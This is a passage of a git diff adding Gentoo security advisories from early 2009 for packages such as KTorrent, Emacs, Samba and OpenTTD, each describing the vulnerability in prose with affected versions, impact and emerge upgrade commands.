+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200902-05">
+  <title>KTorrent: Multiple vulnerabilitites</title>
+  <synopsis>
+    Two vulnerabilities in the web interface plugin in KTorrent allow for
+    remote execution of code and arbitrary torrent uploads.
+  </synopsis>
+  <product type="ebuild">ktorrent</product>
+  <announced>February 23, 2009</announced>
+  <revised>February 23, 2009: 01</revised>
+  <bug>244741</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-p2p/ktorrent" auto="yes" arch="*">
+      <unaffected range="ge">2.2.8</unaffected>
+      <vulnerable range="lt">2.2.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KTorrent is a BitTorrent program for KDE.
+    </p>
+  </background>
+  <description>
+    <p>
+    The web interface plugin does not restrict access to the torrent upload
+    functionality (CVE-2008-5905) and does not sanitize request parameters
+    properly (CVE-2008-5906) .
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send specially crafted parameters to the web
+    interface that would allow for arbitrary torrent uploads and remote
+    code execution with the privileges of the KTorrent process.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disabling the web interface plugin will prevent exploitation of both
+    issues. Click "Plugins" in the configuration menu and uncheck the
+    checkbox left of "WebInterface", then apply the changes.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All KTorrent users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-p2p/ktorrent-2.2.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5905">CVE-2008-5905</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5906">CVE-2008-5906</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 06 Jan 2009 20:05:03 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 10 Jan 2009 00:24:20 +0000">
+    craig
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 10 Jan 2009 19:16:54 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200902-06.xml b/xml/htdocs/security/en/glsa/glsa-200902-06.xml
new file mode 100644
index 00000000..e0b35a64
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200902-06.xml
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200902-06">
+  <title>GNU Emacs, XEmacs: Multiple vulnerabilities</title>
+  <synopsis>
+    Two vulnerabilities were found in GNU Emacs, possibly leading to
+    user-assisted execution of arbitrary code. One also affects edit-utils in
+    XEmacs.
+  </synopsis>
+  <product type="ebuild">emacs edit-utils</product>
+  <announced>February 23, 2009</announced>
+  <revised>February 23, 2009: 01</revised>
+  <bug>221197</bug>
+  <bug>236498</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-editors/emacs" auto="yes" arch="*">
+      <unaffected range="ge">22.2-r3</unaffected>
+      <unaffected range="rge">21.4-r17</unaffected>
+      <unaffected range="lt">19</unaffected>
+      <vulnerable range="lt">22.2-r3</vulnerable>
+    </package>
+    <package name="app-xemacs/edit-utils" auto="yes" arch="*">
+      <unaffected range="ge">2.39</unaffected>
+      <vulnerable range="lt">2.39</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GNU Emacs and XEmacs are highly extensible and customizable text
+    editors. edit-utils are miscellaneous extensions to XEmacs.
+    </p>
+  </background>
+  <description>
+    <p>
+    Morten Welinder reports about GNU Emacs and edit-utils in XEmacs: By
+    shipping a .flc accompanying a source file (.c for example) and setting
+    font-lock-support-mode to fast-lock-mode in the source file through
+    local variables, any Lisp code in the .flc file is executed without
+    warning (CVE-2008-2142).
+    </p>
+    <p>
+    Romain Francoise reported a security risk in a feature of GNU Emacs
+    related to interacting with Python. The vulnerability arises because
+    Python, by default, prepends the current directory to the module search
+    path, allowing for arbitrary code execution when launched from a
+    specially crafted directory (CVE-2008-3949).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote attackers could entice a user to open a specially crafted file
+    in GNU Emacs, possibly leading to the execution of arbitrary Emacs Lisp
+    code or arbitrary Python code with the privileges of the user running
+    GNU Emacs or XEmacs.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GNU Emacs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-editors/emacs-22.2-r3&quot;</code>
+    <p>
+    All edit-utils users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-xemacs/edit-utils-2.39&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2142">CVE-2008-2142</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3949">CVE-2008-3949</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 06 Jul 2008 22:12:00 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 12 Jul 2008 19:44:28 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 09 Feb 2009 22:47:35 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-01.xml b/xml/htdocs/security/en/glsa/glsa-200903-01.xml
new file mode 100644
index 00000000..140a7489
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-01.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-01">
+  <title>Vinagre: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A format string error in Vinagre may allow for the execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">vinagre</product>
+  <announced>March 06, 2009</announced>
+  <revised>March 06, 2009: 01</revised>
+  <bug>250314</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/vinagre" auto="yes" arch="*">
+      <unaffected range="ge">0.5.2</unaffected>
+      <vulnerable range="lt">0.5.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Vinagre is a VNC Client for the GNOME Desktop.
+    </p>
+  </background>
+  <description>
+    <p>
+    Alfredo Ortega (Core Security Technologies) reported a format string
+    error in the vinagre_utils_show_error() function in
+    src/vinagre-utils.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user into opening a specially crafted
+    .vnc file or connecting to a malicious server, possibly resulting in
+    the remote execution of arbitrary code with the privileges of the user
+    running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Vinagre users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/vinagre-0.5.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5660">CVE-2008-5660</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 13 Dec 2008 19:36:32 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 24 Feb 2009 22:12:27 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 24 Feb 2009 22:12:38 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-02.xml b/xml/htdocs/security/en/glsa/glsa-200903-02.xml
new file mode 100644
index 00000000..346cea31
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-02.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-02">
+  <title>ZNC: Privilege escalation</title>
+  <synopsis>
+    A vulnerability in ZNC allows for privilege escalation.
+  </synopsis>
+  <product type="ebuild">znc</product>
+  <announced>March 06, 2009</announced>
+  <revised>March 06, 2009: 01</revised>
+  <bug>260148</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-irc/znc" auto="yes" arch="*">
+      <unaffected range="ge">0.066</unaffected>
+      <vulnerable range="lt">0.066</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ZNC is an advanced IRC bouncer.
+    </p>
+  </background>
+  <description>
+    <p>
+    cnu discovered multiple CRLF injection vulnerabilities in ZNC's
+    webadmin module.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote authenticated attacker could modify the znc.conf configuration
+    file and gain privileges via newline characters in e.g. the QuitMessage
+    field, and possibly execute arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ZNC users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-irc/znc-0.066&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0759">CVE-2009-0759</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 05 Mar 2009 20:11:58 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 05 Mar 2009 22:51:15 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 06 Mar 2009 22:00:32 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-03.xml b/xml/htdocs/security/en/glsa/glsa-200903-03.xml
new file mode 100644
index 00000000..62372569
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-03.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-03">
+  <title>Audacity: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A boundary error in Audacity allows for the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">audacity</product>
+  <announced>March 06, 2009</announced>
+  <revised>March 06, 2009: 01</revised>
+  <bug>253493</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/audacity" auto="yes" arch="*">
+      <unaffected range="ge">1.3.6</unaffected>
+      <vulnerable range="lt">1.3.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Audacity is a free cross-platform audio editor.
+    </p>
+  </background>
+  <description>
+    <p>
+    Houssamix discovered a boundary error in the
+    String_parse::get_nonspace_quoted() function in
+    lib-src/allegro/strparse.cpp.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user into importing a specially
+    crafted *.gro file, resulting in the execution of arbitrary code or a
+    Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Audacity users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/audacity-1.3.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0490">CVE-2009-0490</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 05 Mar 2009 20:19:24 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 05 Mar 2009 23:00:03 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 06 Mar 2009 22:00:48 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-04.xml b/xml/htdocs/security/en/glsa/glsa-200903-04.xml
new file mode 100644
index 00000000..f1b07992
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-04.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-04">
+  <title>DevIL: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple boundary errors in DevIL may allow for the execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">devil</product>
+  <announced>March 06, 2009</announced>
+  <revised>March 06, 2009: 01</revised>
+  <bug>255217</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/devil" auto="yes" arch="*">
+      <unaffected range="ge">1.7.7</unaffected>
+      <vulnerable range="lt">1.7.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Developer's Image Library (DevIL) is a cross-platform image library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Cornelius (Secunia Research) discovered two boundary errors
+    within the iGetHdrHeader() function in src-IL/src/il_hdr.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    Radiance RGBE file, possibly resulting in the execution of arbitrary
+    code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All DevIL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/devil-1.7.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5262">CVE-2008-5262</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 05 Mar 2009 20:17:56 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 05 Mar 2009 23:09:26 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 06 Mar 2009 22:07:22 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-05.xml b/xml/htdocs/security/en/glsa/glsa-200903-05.xml
new file mode 100644
index 00000000..d2e3a210
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-05.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-05">
+  <title>PDFjam: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in the PDFjam scripts allow for local privilege
+    escalation.
+  </synopsis>
+  <product type="ebuild">pdfjam</product>
+  <announced>March 07, 2009</announced>
+  <revised>March 07, 2009: 01</revised>
+  <bug>252734</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-text/pdfjam" auto="yes" arch="*">
+      <unaffected range="ge">1.20-r1</unaffected>
+      <vulnerable range="lt">1.20-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PDFjam is a small collection of shell scripts to edit PDF documents,
+    including pdfnup, pdfjoin and pdf90.
+    </p>
+  </background>
+  <description>
+    <ul>
+    <li>
+    Martin Vaeth reported multiple untrusted search path vulnerabilities
+    (CVE-2008-5843).
+    </li>
+    <li>Marcus Meissner of the SUSE Security Team reported that
+    temporary files are created with a predictable name (CVE-2008-5743).
+    </li>
+    </ul> <p>
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could place a specially crafted Python module in the
+    current working directory or the /var/tmp directory, and entice a user
+    to run the PDFjam scripts, leading to the execution of arbitrary code
+    with the privileges of the user running the application. A local
+    attacker could also leverage symlink attacks to overwrite arbitrary
+    files.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PDFjam users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/pdfjam-1.20-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5843">CVE-2008-5843</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5743">CVE-2008-5743</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 23 Jan 2009 21:30:23 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 12 Feb 2009 16:57:17 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 12 Feb 2009 16:57:35 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-06.xml b/xml/htdocs/security/en/glsa/glsa-200903-06.xml
new file mode 100644
index 00000000..9d172377
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-06.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-06">
+  <title>nfs-utils: Access restriction bypass</title>
+  <synopsis>
+    An error in nfs-utils allows for bypass of the netgroups restriction.
+  </synopsis>
+  <product type="ebuild">nfs-utils</product>
+  <announced>March 07, 2009</announced>
+  <revised>March 07, 2009: 01</revised>
+  <bug>242696</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-fs/nfs-utils" auto="yes" arch="*">
+      <unaffected range="ge">1.1.3</unaffected>
+      <vulnerable range="lt">1.1.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    nfs-utils contains the client and daemon implementations for the NFS
+    protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    Michele Marcionelli reported that nfs-utils invokes the hosts_ctl()
+    function with the wrong order of arguments, which causes TCP Wrappers
+    to ignore netgroups.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could bypass intended access restrictions, i.e. NFS
+    netgroups, and gain access to restricted services.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All nfs-utils users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-fs/nfs-utils-1.1.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4552">CVE-2008-4552</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 11 Jan 2009 18:56:17 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 12 Feb 2009 18:22:47 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 12 Feb 2009 18:23:17 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-07.xml b/xml/htdocs/security/en/glsa/glsa-200903-07.xml
new file mode 100644
index 00000000..e65a0408
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-07.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-07">
+  <title>Samba: Data disclosure</title>
+  <synopsis>
+    A missing boundary check in Samba might lead to the disclosure of memory
+    contents.
+  </synopsis>
+  <product type="ebuild">samba</product>
+  <announced>March 07, 2009</announced>
+  <revised>March 07, 2009: 01</revised>
+  <bug>247620</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-fs/samba" auto="yes" arch="*">
+      <unaffected range="ge">3.0.33</unaffected>
+      <vulnerable range="lt">3.0.33</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Samba is a suite of SMB and CIFS client/server programs.
+    </p>
+  </background>
+  <description>
+    <p>
+    Samba does not properly check memory boundaries when handling trans,
+    rans2, and nttrans requests.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted requests to a Samba
+    daemon, leading to the disclosure of arbitrary memory or to a Denial of
+    Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Samba users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-fs/samba-3.0.33&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4314">CVE-2008-4314</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 11 Jan 2009 18:43:46 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 12 Feb 2009 18:28:04 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 12 Feb 2009 18:28:16 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-08.xml b/xml/htdocs/security/en/glsa/glsa-200903-08.xml
new file mode 100644
index 00000000..da5ee81f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-08.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-08">
+  <title>gEDA: Insecure temporary file creation</title>
+  <synopsis>
+    An insecure temporary file usage has been reported in gEDA, allowing for
+    symlink attacks.
+  </synopsis>
+  <product type="ebuild">geda</product>
+  <announced>March 07, 2009</announced>
+  <revised>March 07, 2009: 01</revised>
+  <bug>247538</bug>
+  <access>local</access>
+  <affected>
+    <package name="sci-electronics/geda" auto="yes" arch="*">
+      <unaffected range="ge">1.4.0-r1</unaffected>
+      <vulnerable range="lt">1.4.0-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    gEDA is an Electronic Design Automation tool used for electrical
+    circuit design.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dmitry E. Oboukhov reported an insecure temporary file usage within the
+    sch2eaglepos.sh script.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could perform symlink attacks to overwrite arbitrary
+    files with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All gEDA users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sci-electronics/geda-1.4.0-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5148">CVE-2008-5148</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 13 Jan 2009 17:58:50 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 12 Feb 2009 18:01:59 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 12 Feb 2009 18:02:15 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-09.xml b/xml/htdocs/security/en/glsa/glsa-200903-09.xml
new file mode 100644
index 00000000..5e656e07
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-09.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-09">
+  <title>OpenTTD: Execution of arbitrary code</title>
+  <synopsis>
+    Multiple buffer overflows in OpenTTD might allow for the execution of
+    arbitrary code in the server.
+  </synopsis>
+  <product type="ebuild">openttd</product>
+  <announced>March 07, 2009</announced>
+  <revised>March 07, 2009: 01</revised>
+  <bug>233929</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-simulation/openttd" auto="yes" arch="*">
+      <unaffected range="ge">0.6.3</unaffected>
+      <vulnerable range="lt">0.6.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenTTD is a clone of Transport Tycoon Deluxe.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple buffer overflows have been reported in OpenTTD, when storing
+    long for client names (CVE-2008-3547), in the TruncateString function
+    in src/gfx.cpp (CVE-2008-3576) and in src/openttd.cpp when processing a
+    large filename supplied to the "-g" parameter in the ttd_main function
+    (CVE-2008-3577).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An authenticated attacker could exploit these vulnerabilities to
+    execute arbitrary code with the privileges of the OpenTTD server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenTTD users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-simulation/openttd-0.6.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3547">CVE-2008-3547</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3576">CVE-2008-3576</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3577">CVE-2008-3577</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 12 Feb 2009 19:13:14 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 13 Feb 2009 15:07:08 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 13 Feb 2009 15:08:05 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-10.xml b/xml/htdocs/security/en/glsa/glsa-200903-10.xml
new file mode 100644
index 00000000..e3d32fab
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-10.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-10">
+  <title>Irrlicht: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A buffer overflow might lead to the execution of arbitrary code or a Denial
+    of Service.
+  </synopsis>
+  <product type="ebuild">irrlicht</product>
+  <announced>March 07, 2009</announced>
+  <revised>March 07, 2009: 01</revised>
+  <bug>252203</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-games/irrlicht" auto="yes" arch="*">
+      <unaffected range="ge">1.5</unaffected>
+      <vulnerable range="lt">1.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Irrlicht Engine is an open source cross-platform high performance
+    realtime 3D engine written in C++.
+    </p>
+  </background>
+  <description>
+    <p>
+    An unspecified component of the B3D loader is vulnerable to a buffer
+    overflow due to missing boundary checks.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted .irr
+    file, possibly resulting in the execution of arbitrary code with the
+    privileges of the user running the application, or a Denial of Service
+    (crash).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All irrlicht users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-games/irrlicht-1.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5876">CVE-2008-5876</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 12 Feb 2009 19:12:26 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 04 Mar 2009 23:33:30 +0000">
+    a3li
+  </metadata>
